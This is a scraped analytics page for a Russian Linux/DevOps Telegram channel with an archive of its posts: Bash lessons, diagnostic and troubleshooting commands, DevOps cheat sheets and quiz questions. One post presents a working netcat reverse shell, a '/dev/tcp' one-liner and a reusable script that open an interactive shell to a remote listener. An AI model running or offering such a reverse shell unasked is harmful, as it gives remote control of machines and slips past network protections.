en
Feedback
LinuxSkill - Сводки с прода и Шпаргалки

LinuxSkill - Сводки с прода и Шпаргалки

Open in Telegram

Следим за новостями Linux, DevOps и ИБ, чтобы быть готовым к любым факапам. Бонусом — плотные шпаргалки и чеклисты для ежедневной работы в терминале. 📩 По всем вопросам: @chorapov Зеркало в MAX: https://max.ru/LinuxSkill РКН https://vk.cc/cMUwm4

Show more

📈 Analytical overview of Telegram channel LinuxSkill - Сводки с прода и Шпаргалки

Channel LinuxSkill - Сводки с прода и Шпаргалки (@linuxskill) in the Russian language segment is an active participant. Currently, the community unites 10 739 subscribers, ranking 11 148 in the Technologies & Applications category and 59 588 in the Russia region.

📊 Audience metrics and dynamics

Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 10 739 subscribers.

According to the latest data from 02 September, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by -53 over the last 30 days and by -3 over the last 24 hours, overall reach remains high.

  • Verification status: Not verified
  • Engagement rate (ER): The average audience engagement rate is 11.96%. Within the first 24 hours after publication, content typically collects 4.94% reactions from the total number of subscribers.
  • Post reach: On average, each post receives 1 285 views. Within the first day, a publication typically gains 531 views.
  • Reactions and interaction: The audience actively supports content: the average number of reactions per post is 4.
  • Thematic interests: Content is focused on key topics such as docker, linux, bash, devops, скрипт.

📝 Description and content policy

The author describes the resource as a platform for expressing subjective opinions:
Следим за новостями Linux, DevOps и ИБ, чтобы быть готовым к любым факапам. Бонусом — плотные шпаргалки и чеклисты для ежедневной работы в терминале. 📩 По всем вопросам: @chorapov Зеркало в MAX: https://max.ru/LinuxSkill РКН https://vk.cc/cMUwm4

Thanks to the high frequency of updates (latest data received on 03 September, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.

10 739
Subscribers
-324 hours
-177 days
-5330 days
Posts Archive
🚀 Reverse Shell на практике: подключаемся к скрытому серверу за 1 минуту! Привет, цифровые исследователи и администраторы! Хочешь получить доступ к серверу за NAT или в приватной сети без прямого IP? Без проброса портов и плясок с VPN? Лови лайфхак с Netcat — проверенный способ настроить Reverse Shell за пару команд! #Что делаем: 1. У удалённого инженера на своей машине:
nc -lvnp 2288
> Параметры: > - -l — слушать входящие подключения > - -v — подробный режим > - -n — не использовать DNS > - -p — указать порт 2. На целевом сервере (внутреннем):
/bin/bash -i > /dev/tcp/IP_инженера/2288 0<&1 2>&1
И вуаля! Инженер получает полноценный терминал с правами текущего пользователя. 🎯 Важно: - Проверь IP заранее. - Убедись в правах доступа. - Используй только в рамках закона и корпоративных правил! ⚖️ 🛠️ Автоматизация: скрипт Reverse Shell за 1 команду Чтобы ещё быстрее организовать подключение, можно использовать мини-скрипт:
#!/bin/bash
read -p "Введите IP инженера: " IP
read -p "Введите порт (по умолчанию 2288): " PORT
PORT=${PORT:-2288}
bash -i >& /dev/tcp/${IP}/${PORT} 0>&1
Как использовать: 1. Сохрани этот код в файл, например reverse_shell.sh. 2. Выдай права на исполнение:
chmod +x reverse_shell.sh
3. Запусти:
./reverse_shell.sh
Скрипт сам спросит IP и порт, а дальше всё произойдёт автоматически! 📩 Завтра: Вопрос №27 из теста Linux Essentials Certification Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Производительность Nginx против Traefik: кто победит? 🧠 - Как уменьшить размер образа Docker: от 1,2 ГБ до 10 МБ 🧠 - Нужно ли ставить кавычки вокруг переменных в shell-скриптах? #Linux #Netcat #Security #ReverseShell

🛠️ 10 самых частых ошибок в Linux и как быстро их исправить Привет, цифровые искатели приключений! 🧭 Если ты хоть раз настраивал Linux, ты точно натыкался на эти проблемы. Лови экспресс-гайд, который спасет тебе часы нервов и дебага! 🛡️ Ошибки при обновлении и установке пакетов - Почини сломанные зависимости:
  sudo apt-get install -f
- Очисти кэш и обнови пакеты:
  sudo apt-get clean
  sudo apt-get update
🌐 Проблемы с сетью - Проверь интерфейсы:
  ip a
- Перезапусти сеть:
  sudo systemctl restart NetworkManager
- Проверь DNS:
  cat /etc/resolv.conf
🔐 Проблемы с правами доступа - Выполни команду от суперпользователя:
  sudo <command>
- Исправь права на файлы и каталоги:
  sudo chmod 755 /path/to/dir
  sudo chown user:user /path/to/file
🖥️ Проблемы с загрузкой системы - Восстанови GRUB:
  sudo grub-install /dev/sda
  sudo update-grub
- Проверь файловую систему:
  sudo fsck /dev/sda1
🗄️ Нет места на диске - Посмотри занятое пространство:
  df -h
- Очисти временные файлы:
  sudo apt-get clean
  sudo rm -rf /var/cache/apt/archives/*
📡 Проблемы с NFS - Проверь и перезапусти сервисы:
  sudo systemctl status nfs-server
  sudo systemctl restart nfs-server
🐍 Конфликты в Python - Используй виртуальные окружения:
  python3 -m venv myenv
  source myenv/bin/activate
  pip install <package>
🔥 Проблемы с SELinux - Просмотри логи:
  sudo ausearch -m avc -ts recent
- Переключи в permissive-режим:
  sudo setenforce 0
🧩 Ошибки с модулями ядра - Загрузи модуль вручную:
  lsmod
  sudo modprobe <module>
🔥 Проблемы с фаерволом - Посмотри текущие правила:
  sudo iptables -L
- Открой нужный порт:
  sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
📚 Забирай эту базу знаний в закладки и экономь часы жизни! Проблемы больше не застанут тебя врасплох. 📩 Завтра: Reverse Shell на практике: подключаемся к скрытому серверу за 1 минуту Включи 🔔 чтобы не пропустить! ________________ Дополнительный материал: 🧠 - Открой секреты своей системы: 18 команд которые должен знать каждый линуксоид! 🧠 - Осторожно: Никогда не запускай эти 11 команд в Linux! 🧠 - Защита SSH-сервера: порты, ключи и iptables #Linux_Mastery @LinuxSkill #Linux #Troubleshooting #Errors #Sysadmin #DevOps

🧠 Как узнать ВСЁ о железе и системе в Linux за 5 минут Привет, линукс-мастер! Хочешь быстро получить полную информацию о процессоре, памяти, дисках, устройствах USB и прочем железе в системе? Лови топ команд для диагностики без лишних движений: ⚙️ Системная информация - uname -a — версия ядра и архитектура системы. 🖥️ Информация о железе - lspci — список всех устройств на шинах PCI. - lsusb — список USB-контроллеров и устройств. - lshw — детальное описание железа. - hwinfo — альтернатива lshw с расширенными данными. - dmidecode — чтение таблицы DMI/SMBIOS (информация о BIOS, материнке, памяти). 🧠 Процессор и память - lscpu — характеристики процессора. - free -h — текущая загрузка ОЗУ. - cat /proc/cpuinfo — подробности о CPU. 🛠️ Диски и файловые системы - lsblk — список всех блочных устройств. - blkid — метки разделов и UUID. - fdisk -l, gdisk -l, parted -l — разметка дисков. - df -h — свободное место на дисках. - mount — список смонтированных разделов. 🔥 Дополнительно - dmesg — лог загрузки ядра и сообщения устройств. - hdparm -I /dev/sdX — характеристики жестких дисков. - inxi -Fxz — сводный отчёт о системе и железе. 🛡️ Все команды работают в терминале, без GUI. Удобно для серверов, VPS и быстрой диагностики локальных машин. 📩 Завтра: 10 самых частых ошибок в Linux и как быстро их исправить Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Твой незаменимый помощник: Скрипт для мониторинга Linux! 🧠 - Открой секреты защиты от DDoS-атак с помощью экспертов 🧠 - Как найти различия между двумя деревьями каталогов в Linux? #Linux_Mastery @LinuxSkill #Linux #Sysadmin #Hardware #Terminal #Diagnostics

🚨 Процесс с неизвестным именем грузит CPU на 25000%! Что происходит? Привет, повелитель терминала! На одном из серверов Linux обнаружили странный процесс: - Имя вроде 89cdb92b, потом меняется на другое (ac1e4262) - Процесс запущен от root - CPU загружено на 25369% (!) - Файл процесса уже удалён: /proc/<PID>/exe → (deleted) Это может быть майнер или вредоносная программа. Простое перезагружение не решает проблему: процесс появляется снова. 🔍 Что делать: 1. Проверить родителя процесса:
   pstree -sap <PID>
2. Узнать командную строку процесса:
   ps -o args -p <PID>
3. Скопировать бинарник для анализа:
   cp /proc/<PID>/exe /tmp/suspect_binary
4. Безопасно изучить его содержимое:
   strings /tmp/suspect_binary
5. Проверить открытые файлы:
   lsof -p <PID>
6. Изучить логи на момент запуска процесса:
   journalctl -S 'YYYY-mm-dd HH:MM'
📌 Важно: при компрометации — лучше переустановить систему с чистого образа! 🌐 Источник: https://unix.stackexchange.com/questions/782519/high-cpu-usage-by-process-with-obfuscated-name-on-linux-server-potential-attac 📩 Завтра: Как узнать ВСЁ о железе и системе в Linux за 5 минут Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Неожиданные секреты Linux: 12 утилит, которые спасут твой сервер! 🧠 - Открой для себя 15 малоизвестных команд LINUX, которые изменят твою жизнь 🧠 - Как удалить экспортированную переменную окружения в Linux? #stackoverflow @LinuxSkill #Linux #Security #Malware #CPU #Root

🚀 Урок 3 — Освой циклы Bash Привет! Продолжаем наш интенсив по Bash для новичков и не только. Сегодня ты узнаешь, как работают основные циклы в Bash — for и while. Эти конструкции — основа автоматизации: от перебора файлов до создания генераторов паролей! Зачем смотреть этот урок: ✅ Быстро освоишь перебор списков и файлов ✅ Научишься создавать скрипты с условиями ✅ Сможешь генерировать пароли своими руками Тайм-коды для удобства: 00:04 — Введение в циклы 00:52 — Основы цикла for 01:43 — Примеры использования for 04:34 — Условные конструкции в цикле 07:06 — Проверка спецсимволов 11:02 — Работа с директориями 16:21 — Цикл for в стиле C 21:02 — Цикл while 25:39 — Сравнение for и while 27:59 — Создание генератора паролей 31:31 — Команды break и continue 37:20 — Заключение 🌐 Источник: https://youtu.be/7AyiVxVkY3M?si=xPm_IxlR5DIAJpxa 📩 Завтра: Процесс с неизвестным именем грузит CPU на 25000%! Что происходит? Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Практическое использование mkfs.btrfs: Код и советы 🧠 - Установка Node Exporter на Linux серверах: Полный Гайд 🧠 - IPv6 и iptables: Мастер-класс по безопасности будущего #Linux_youtube @LinuxSkill #bash #linux #scripts #bashскрипты #программирование

Вопрос №26 из теста Linux Essentials Certification: Что означает аббревиатура LAMP?
Anonymous voting

⚡️ Bash Урок 2: Переменные, массивы и логика Привет! 👋 Продолжаем наш курс по Bash. Сегодня разберём, как работают переменные, массивы и логические конструкции. Зачем смотреть? Если хочешь научиться писать скрипты, управлять данными и принимать решения в своих программах — тебе сюда! Всё подаётся просто, без воды. Таймкоды: 00:03 — Введение в скриптовый язык Bash 01:32 — Переменные среды 05:43 — Пользовательские переменные 09:02 — Математические операции 15:02 — Массивы 20:03 — Ассоциативные массивы 24:30 — Создание ассоциативного массива 25:49 — Обращение к элементам массива 29:09 — Длина массива 33:07 — Установка и удаление элементов массива 35:05 — Добавление элементов в массив 38:09 — Логические конструкции 47:42 — Сравнение чисел 49:31 — Сравнение чисел (пример) 55:45 — Сравнение строк 01:07:27 — Проверка файлов 01:21:11 — Заключение 🌐 Источник: https://youtu.be/Vfp6O8xCYf0?si=md9BT0z7ACGRJbr_ 📩 Завтра: Вопрос №25 из теста Linux Essentials Certification Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - BTRFS: Твой ключ к суперсиле файловых систем 🧠 - Профессиональная Установка Prometheus на Ubuntu: Полный Гайд 🧠 - Полный список команд и опций для mkfs.btrfs #bash #linux #bashскрипты #обучение

Вопрос №25 из теста Linux Essentials Certification: Какой параметр заставит команду echo не выводить символ новой строки (перенос строки) в конце?
Anonymous voting

🧠 Как узнать ВСЁ о железе и системе в Linux за 5 минут Привет, линукс-мастер! 🐧 Хочешь быстро получить полную информацию о процессоре, памяти, дисках, устройствах USB и прочем железе в системе? Лови топ команд для диагностики без лишних движений: ⚙️ Системная информация - uname -a — версия ядра и архитектура системы. 🖥️ Информация о железе - lspci — список всех устройств на шинах PCI. - lsusb — список USB-контроллеров и устройств. - lshw — детальное описание железа. - hwinfo — альтернатива lshw с расширенными данными. - dmidecode — чтение таблицы DMI/SMBIOS (информация о BIOS, материнке, памяти). 🧠 Процессор и память - lscpu — характеристики процессора. - free -h — текущая загрузка ОЗУ. - cat /proc/cpuinfo — подробности о CPU. 🛠️ Диски и файловые системы - lsblk — список всех блочных устройств. - blkid — метки разделов и UUID. - fdisk -l, gdisk -l, parted -l — разметка дисков. - df -h — свободное место на дисках. - mount — список смонтированных разделов. 🔥 Дополнительно - dmesg — лог загрузки ядра и сообщения устройств. - hdparm -I /dev/sdX — характеристики жестких дисков. - inxi -Fxz — сводный отчёт о системе и железе. 🛡️ Все команды работают в терминале, без GUI. Удобно для серверов, VPS и быстрой диагностики локальных машин. 📩 Завтра: Вопрос №25 из теста Linux Essentials Certification Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Превращаем namei в супер-ls с опцией -l! 🧠 - Prometheus: Все Основы Мониторинга — Почему Это Важно 🧠 - Раскрой тайны своего файрвола: просмотр правил iptables! #Linux_Mastery @LinuxSkill #Linux #Sysadmin #Hardware #Terminal #Diagnostics

🚀 Почему бенчмарки в bash дают разные результаты? Привет, повелитель терминала! 🧙‍♂️ Запустил простой код:
bash -c 'x=0; time while ((x < 999999)); do ((++x)); done'
А время выполнения прыгает от 0.9 до 2.2 секунд? Почему? Ответ: CPU Frequency Scaling. Процессор снижает частоту при простое и повышает под нагрузкой. Из-за этого первое выполнение скрипта медленнее последующих. Решение: 1. Зафиксировать максимальную частоту ядра:
sudo cpupower -c 0 frequency-set -g performance
2. Закрепить выполнение скрипта за одним ядром:
taskset -c 0 ./your-benchmark
3. После теста вернуть режим энергосбережения:
sudo cpupower -c 0 frequency-set -g powersave
Бонус: Делай "разогревочный" прогон перед реальными замерами и старайся минимизировать фоновую нагрузку. 🌐 Источник: https://unix.stackexchange.com/questions/777424/why-are-my-benchmark-times-not-repeatable-even-for-a-cpu-bound-task 📩 Завтра: Как узнать ВСЁ о железе и системе в Linux за 5 минут Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Мастер-класс по iptables: вставляем, заменяем и удаляем правила 🧠 - Настраиваем iptables с нуля: Полный гайд по фильтрации пакетов 🧠 - Раскрой тайны владения файлами с namei -o! #stackoverflow @LinuxSkill #linux #bash #benchmark #performance

🔁 Шпаргалка по циклам в Bash ✅ 1. for — перебор элементов
for item in one two three; do
  echo $item
done
📌 Можно использовать маски:
for file in *.txt; do
  cat "$file"
done
🔁 2. while — цикл пока условие истинно
count=1
while [ $count -le 5 ]; do
  echo "Iteration $count"
  ((count++))
done
⏳ 3. until — цикл пока условие ложно
count=1
until [ $count -gt 5 ]; do
  echo "Until loop: $count"
  ((count++))
done
💥 4. Прерывание и пропуск итераций
break   # Выход из цикла
continue  # Пропустить текущую итерацию
📌 5. for с диапазоном чисел
for i in {1..5}; do
  echo "Num: $i"
done
🧠 Примечания: - В цикле for обязательно используй do - Внутри while и until условия берутся в [ ] - Переменные инкрементируются через (( )) или let 📩 Завтра: Почему бенчмарки в bash дают разные результаты? Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Мастер-класс по iptables: вставляем, заменяем и удаляем правила 🧠 - Настраиваем iptables с нуля: Полный гайд по фильтрации пакетов 🧠 - Раскрой тайны владения файлами с namei -o! #Linux_Mastery #Linux_youtube #Bash #циклы

⚡️ Bash Урок 1: Введение для новичков Привет, будущий мастер командной строки! 👋 Сегодня стартуем первый урок большого курса по Bash. Зачем смотреть? Ты узнаешь, что такое Bash, зачем он нужен, как автоматизировать задачи через консоль и как сделать свои первые простые скрипты. Всё без сложных терминов и скучных теорий! Таймкоды: 00:03 — Введение в Bash 01:33 — Основы командных оболочек 03:51 — Настройка PATH 06:18 — Создание и запуск скриптов 11:49 — Работа с подshell 12:46 — Использование shebang 14:06 — Права доступа и запуск скриптов 15:12 — Преимущества Bash 🌐 Источник: https://youtu.be/Le4R0nSKnfI?si=tQ-000EDHkY0ixyl 📩 Завтра: Шпаргалка по циклам в Bash Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Траблшутинг Linux: Основные команды и примеры 🧠 - Linux: Мониторинг оперативной памяти — основные аспекты и инструменты 🧠 - 19 команд, которые сделают тебя гуру systemd! #Linux_youtube @LinuxSkill #bash #linux #bashскрипты #обучение

Вопрос №24 из теста Linux Essentials Certification: Какой из следующих вариантов создаёт архивный файл с именем backup.tar, содержащий все файлы из директории /home?
Anonymous voting

🔥 7 шагов к безопасному серверу: домен, Nginx, Apache, SSL Привет, архитектор серверов! 🚀 Если хочешь быстро развернуть защищённый сайт с Nginx и Apache — это видео для тебя. Зачем смотреть? ✅ Поймешь, как правильно привязать домен. ✅ Настроишь связку Nginx + Apache. ✅ Защитишь проект с помощью SSL-сертификата. Тайм-коды: 00:07 — Введение и настройка домена 01:46 — Создание пользователя и безопасных паролей 03:31 — Организация хранения паролей 05:16 — Проверка сервера и права доступа 07:47 — Получение и подключение SSL-сертификата 11:50 — Финальная проверка и планы на развитие 🌐 Источник: https://youtu.be/V67CjJOgKYw?si=PIIPoIf4mrXxxO5A 📩 Завтра: Вопрос №24 из теста Linux Essentials Certification Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Docker и Docker Compose: От новичка до профи за 4 часа 🧠 - Секретное оружие Linux-админа: утилита, которая спасет твою карьеру 🧠 - Раскрой тайны файловой системы с помощью namei #Linux_youtube @LinuxSkill #Linux #Apache #Nginx #DevOps #SSL

for i in *;
----  
cat $i  
done

Вопрос №23 из теста Linux Essentials Certification: Какого ключевого слова не хватает в следующем фрагменте shell-скрипта?
Anonymous voting

🔗 Укроти символические ссылки с namei -n! Привет, укротитель символических ссылок! Устал от бесконечных переходов по ссылкам? namei с опцией -n - твое секретное оружие! Смотри, как это работает: Обычный namei:
namei /home/himanshu/link1

f: /home/himanshu/link1
 d /
 d home
 d himanshu
 l link1 -> file1
   - file1
А теперь с опцией -n:
namei -n /home/himanshu/link1

f: /home/himanshu/link1
 d /
 d home
 d himanshu
 l link1 -> file1
Видишь разницу? С -n namei останавливается на символической ссылке, не следуя за ней. Это полезно когда: 1. Ты хочешь увидеть только структуру ссылок 2. Нужно избежать зацикливания в сложных структурах ссылок 3. Ты отлаживаешь проблемы с символическими ссылками 📩 Завтра: Вопрос №23 из теста Linux Essentials Certification Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Автоматизируй управление группами файлов с chgrp 🧠 - Секреты успешного CI/CD: Gitea и GitHub Actions, которые ты должен знать 🧠 - Автоматизируй сборку и деплой с GitLab: практическое руководство #Linux_Mastery @LinuxSkill #namei

🚀 Топ команды для DevOps: Что спрашивают на собеседованиях? Привет, линукс-мастер! Сегодня я расскажу тебе о командах, которые часто спрашивают на собеседованиях для DevOps-инженеров. Эти команды помогут уверенно чувствовать себя на интервью и в повседневной работе. Давай разберемся, что нужно знать 👇 🔧 Git
git init                        # Инициализация нового репозитория
git clone <url>                # Клонирование репозитория
git add <file>                 # Добавление файла к коммиту
git commit -m "сообщение"      # Создание коммита
git push                       # Отправка изменений
git pull                       # Получение изменений
git branch                     # Список веток
git checkout <branch>          # Переключение ветки
🐳 Docker
docker build -t <image_name> .         # Создание образа
docker run -d -p 80:80 <image_name>    # Запуск контейнера
docker ps                              # Список контейнеров
docker stop <container_id>             # Остановка контейнера
docker rm <container_id>               # Удаление контейнера
docker images                          # Список образов
docker rmi <image_id>                  # Удаление образа
☸️ Kubernetes (kubectl)
kubectl get pods                         # Список подов
kubectl get services                     # Список сервисов
kubectl describe pod <pod_name>         # Информация о поде
kubectl logs <pod_name>                 # Логи пода
kubectl apply -f <file.yaml>            # Применение конфигурации
kubectl delete pod <pod_name>           # Удаление пода
kubectl exec -it <pod_name> -- /bin/bash # Подключение к поду
🤖 Ansible
ansible-playbook <playbook.yml>                   # Запуск плейбука
ansible <host> -m ping                            # Проверка хостов
ansible <host> -m command -a 'uptime'             # Выполнение команды
ansible-galaxy install <role>                     # Установка роли
🌍 Terraform
terraform init       # Инициализация
terraform plan       # Планирование изменений
terraform apply      # Применение изменений
terraform destroy    # Удаление ресурсов
🐧 Linux (bash)
ls                                # Список файлов
cd <directory>                    # Переход в каталог
pwd                               # Текущий каталог
cp <source> <destination>         # Копирование
mv <source> <destination>         # Перемещение
rm <file>                         # Удаление
mkdir <directory>                 # Создание каталога
grep <pattern> <file>             # Поиск шаблона
find <directory> -name <pattern>  # Поиск файлов
chmod <permissions> <file>        # Изменение прав
chown <user>:<group> <file>       # Изменение владельца
top                               # Мониторинг процессов
ps aux                            # Список процессов
🔄 CI/CD (GitLab, Jenkins, GitHub Actions) GitLab CI/CD:
.gitlab-ci.yml
gitlab-runner register
Jenkins:
jenkins-cli.jar
jenkins-jobs create <job_name>
GitHub Actions:
.github/workflows/<workflow>.yml
workflow_dispatch
📌 Эти команды охватывают управление версиями, контейнеризацию, оркестрацию, автоматизацию и администрирование. Изучи, запомни, сохрани — и чувствуй себя уверенно на любом собесе! 📩 Завтра: Укроти символические ссылки с namei -n! Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Секреты Zabbix: Мониторинг веб-серверов без проблем 🧠 - Мониторинг серверов с помощью Zabbix: Настройка мониторинга SMART-дисков через Zabbix 🧠 - Измени группу файлов за секунды с помощью chgrp #Linux_Mastery @LinuxSkill #devops #GitHub #Jenkins #GitLab #bash #Kubernetes #Docker #Git

🚀 Мы запустили второй канал — @gradelift Карьерный рост, разборы собесов и аналитика рынка DevOps 👋 Привет от команды @linuxskill! Я уже писал что давно вынашиваю эту идею — и теперь сделали MVP стартапа Грейд Лифт. Если ты когда-то спрашивал себя: > «А я точно Middle?» > «Почему мне не отвечают на резюме?» > «Что нужно, чтобы пробиться выше?» 📡 @gradelift — это канал про реальный рост в DevOps, без воды. Анализируем рынок, спрашиваем HR и собираем конкретные рекомендации, чтобы ты знал: * как пройти собес, * как расти в грейде, * как перестать тупить на резюме. 📌 В @gradelift уже сделали глубокую аналитику 150 вакансий hh.ru. И вот что уже ждет в канале: * Junior DevOps: с чего начать, чтобы пройти собес https://t.me/gradelift/13 * Пример вакансии по средним данным на рынке: Junior DevOps https://t.me/gradelift/14 * Middle DevOps — где заканчивается джун? https://t.me/gradelift/15 * Пример вакансии по средним данным на рынке: Middle DevOps https://t.me/gradelift/16 * Senior DevOps — ты не просто инженер, ты архитектор https://t.me/gradelift/17 * Пример вакансии по средним данным на рынке: Senior DevOps в международном проекте (удалённо) https://t.me/gradelift/20 * Junior vs Middle vs Senior DevOps: чем они реально отличаются? https://t.me/gradelift/21 💡 Позже выйдет: * Самые востребованные технологии в DevOps-вакансиях * Самые редкие DevOps-технологии, которые почти не ищут * Технологии, которые стоит забыть DevOps-инженеру * 10 DevOps-инструментов, которые стоит выучить в 2025 🔥 Подпишись на @gradelift, если хочешь карьеру, а не просто стек в голове. И расскажи другу, который всё ещё «джун, но вроде не совсем».

🤔 Как запросить ввод Yes/No/Cancel в shell скрипте? Хочешь сделать свои скрипты более интерактивными? Узнай, как легко запросить ввод от пользователя в Linux с помощью команд read и select. Основная информация: 1. Использование команды read: Команда read позволяет запрашивать ввод от пользователя. Вот пример, как это сделать:
   while true; do
       read -p "Do you wish to install this program? " yn
       case $yn in
           [Yy]* ) make install; break;;
           [Nn]* ) exit;;
           * ) echo "Please answer yes or no.";;
       esac
   done
Этот скрипт будет повторять запрос, пока пользователь не введет "yes" или "no". 2. Использование команды select: select упрощает выбор, автоматически отображая доступные варианты:
   echo "Do you wish to install this program?"
   select yn in "Yes" "No"; do
       case $yn in
           Yes ) make install; break;;
           No ) exit;;
       esac
   done
Здесь пользователь выбирает номер, соответствующий его выбору. 3. Локализация ввода: Для поддержки разных языков можно использовать locale:
   set -- $(locale LC_MESSAGES)
   yesexpr="$1"; noexpr="$2"; yesword="$3"; noword="$4"

   while true; do
       read -p "Install (${yesword} / ${noword})? " yn
       if [[ "$yn" =~ $yesexpr ]]; then make install; exit; fi
       if [[ "$yn" =~ $noexpr ]]; then exit; fi
       echo "Answer ${yesword} / ${noword}."
   done
Используя команды read и select, ты можешь сделать свои скрипты более интерактивными и удобными для пользователей. Попробуй сам и убедись в их эффективности! 🌳 Ветка: https://stackoverflow.com/questions/226703/how-do-i-prompt-for-yes-no-cancel-input-in-a-linux-shell-script 📩 Завтра: Топ команды для DevOps: Что спрашивают на собеседованиях Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Секреты массового управления пользователями и группами в Linux 🧠 - Не трать время на логи! Вот как найти все медленные запросы за 1 минуту 🧠 - Как ускорить MySQL? Простые советы, чтобы твой сервер летал, как на стероидах #stackoverflow @LinuxSkill #Linux #ShellScripting #UserInput #SysAdmin #DevOps